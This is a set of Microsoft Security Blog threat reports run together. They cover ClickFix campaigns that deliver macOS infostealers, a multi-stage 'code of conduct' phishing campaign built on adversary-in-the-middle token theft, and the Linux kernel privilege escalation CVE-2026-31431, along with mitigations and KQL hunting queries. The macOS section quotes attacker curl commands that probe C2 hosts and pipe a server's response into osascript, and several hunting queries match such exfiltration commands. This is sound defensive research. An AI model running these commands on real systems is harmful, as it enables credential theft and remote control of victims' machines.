To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post ​​Microsoft named an overall leader in KuppingerCole Analyst’s 2026 Emerging AI Security Operations Center (SOC) report ​​ appeared first on Microsoft Security Blog.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

Microsoft Defender is investigating a high-severity local privilege escalation vulnerability (CVE-2026-31431) affecting multiple major Linux distributions including Red Hat, SUSE, Ubuntu, and AWS Linux. This vulnerability allows unauthorized escalation of privileges to root, impacting a significant portion of cloud Linux workloads and millions of Kubernetes clusters. Although active exploitation has been limited and primarily observed in proof-of-concept testing, the vulnerability’s broad applicability has caused widespread concern.

Given the availability of a fully working exploit proof-of-concept (PoC) and the race to patch systems, Microsoft Defender is seeing preliminary testing activity that might result most likely in increased threat actor exploitation over the next few days, as also confirmed by the recent addition of this vulnerability to the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerability (KEV) catalog.

In this report, Microsoft Defender shares detailed analyses and detection insights for this vulnerability, as well as mitigation recommendations and hunting guidance for customers to act on. Further investigation towards providing stronger protection measures is in progress, and this report will be updated when more information becomes available.

Vulnerability details

The vulnerability affects virtually all Linux distributions running kernels released from 2017 until patched versions are applied, including but not limited to Ubuntu (for example, 24.04 LTS), Amazon Linux 2023, Red Hat Enterprise Linux (RHEL 10.1), and SUSE 16, as well as other distributions like Debian, Fedora, and Arch Linux. The CVSS score is 7.8 (High), reflecting its significant impact.

From an impact assessment standpoint, successful exploitation leads to full root privilege escalation (high impact to confidentiality, integrity, and availability) and could facilitate container breakout, multi-tenant compromise, and lateral movement within shared environments. Its reliability, stealth (in-memory-only modification), and cross-platform applicability make it particularly dangerous in cloud, CI/CD, and Kubernetes environments where untrusted code execution is common.

CVE-2026-31431 (also known as “Copy Fail”) is a high‑severity local privilege escalation (LPE) vulnerability affecting the Linux kernel’s cryptographic subsystem. The vulnerability type is a logic flaw within the algif_aead module of the AF_ALG (userspace crypto API), which results in improper handling of memory during in-place operations.

The attack vector is local (AV:L) and requires low privileges with no user interaction, meaning any unprivileged user on a vulnerable system can attempt exploitation. Critically, this vulnerability is not remotely exploitable in isolation, but becomes highly impactful when chained with an initial access vector such as Secure Shell (SSH) access, malicious CI job execution, or container footholds. The primary prerequisite for exploitation is the ability to execute code as a local non-privileged user on a system running a vulnerable Linux kernel with the affected crypto module enabled.

From a technical perspective, the flaw originates from an in-place optimization introduced in 2017, where the kernel reuses source memory as the destination during cryptographic operations. By abusing the interaction between the AF_ALG socket interface and the splice() system call, an attacker can perform a controlled 4-byte write into the kernel’s page cache of any readable file. This enables corruption of in-memory representations of privileged binaries (for example, /usr/bin/su) without modifying the on-disk file.

When executed, the modified binary yields root privileges, effectively breaking the system’s privilege boundary. Notably, the exploit is deterministic, does not rely on race conditions, and could be implemented in a very small (~732‑byte) script that works across distributions. Because the page cache is shared across containers and the host , the vulnerability also enables cross-container impacts and container escape scenarios.

The following is one possible exploitation attack chain.

Phase 1: The attacker begins with reconnaissance. This may occur after gaining limited visibility into an environment (for example, a compromised CI runner, web container, or multi‑tenant host). Kernel version information is easily obtainable from within containers and user namespaces and does not require elevated privileges.

Because containers share the host kernel, a single vulnerable kernel version immediately expands the impact radius from one container to the entire node.

Phase 2: The attacker leverages a compact Python script that interacts only with standard kernel interfaces exposed to unprivileged users. The script does not rely on networking, compilation, or third‑party libraries, making it ideal for execution in restricted containers and hardened environments.

Phase 3: The attacker runs the script as either a regular Linux user on a host, or a compromised container process with no special capabilities. Crucially, the vulnerability does not require root inside the container, Kernel modules, or network access.  This makes it ideal for post‑exploitation scenarios where the attacker already has any foothold at all.

Phase 4: The exploit abuses an interaction between the AF_ALG (asynchronous crypto) socket interface, the splice() system call and improper error handling during a failed copy operation. This results in a controlled 4‑byte overwrite in the kernel page cache, allowing the attacker to corrupt sensitive kernel‑managed data even though they are unprivileged. This corruption occurs entirely within the kernel, bypassing traditional user‑space protections.

Phase 5: By corrupting kernel structures associated with credentials or execution context, the attacker escalates their process to UID 0. This completes the transition from unprivileged user to full root without touching the network. At this point, kernel trust boundaries are broken, SELinux/AppArmor protections are effectively neutralized, and local security controls are bypassed.

Mitigation and protection guidance

Immediate actions (0-24 hours):

• Identify all instances of affected products/versions in your environment.
• Apply mitigation based on patch availability:
  • If patches exist, apply immediately. Links to security bulletins and vendor patches are available at NVD – CVE-2026-31431.
  • If no patches exist, choose one of these interim mitigations:

○ Disable affected feature

○ Implement network isolation

○ Apply access controls

• Review logs for signs of exploitation.

Because this vulnerability impacts a large swath of Linux devices, it is strongly recommended to do the following:

• Patch or update your distribution’s kernel packages or to block AF_ALG socket creation.
• Treat any container RCE as potential host compromise and enforce rapid node recycling after compromise indicators.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the following list of applicable detections. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

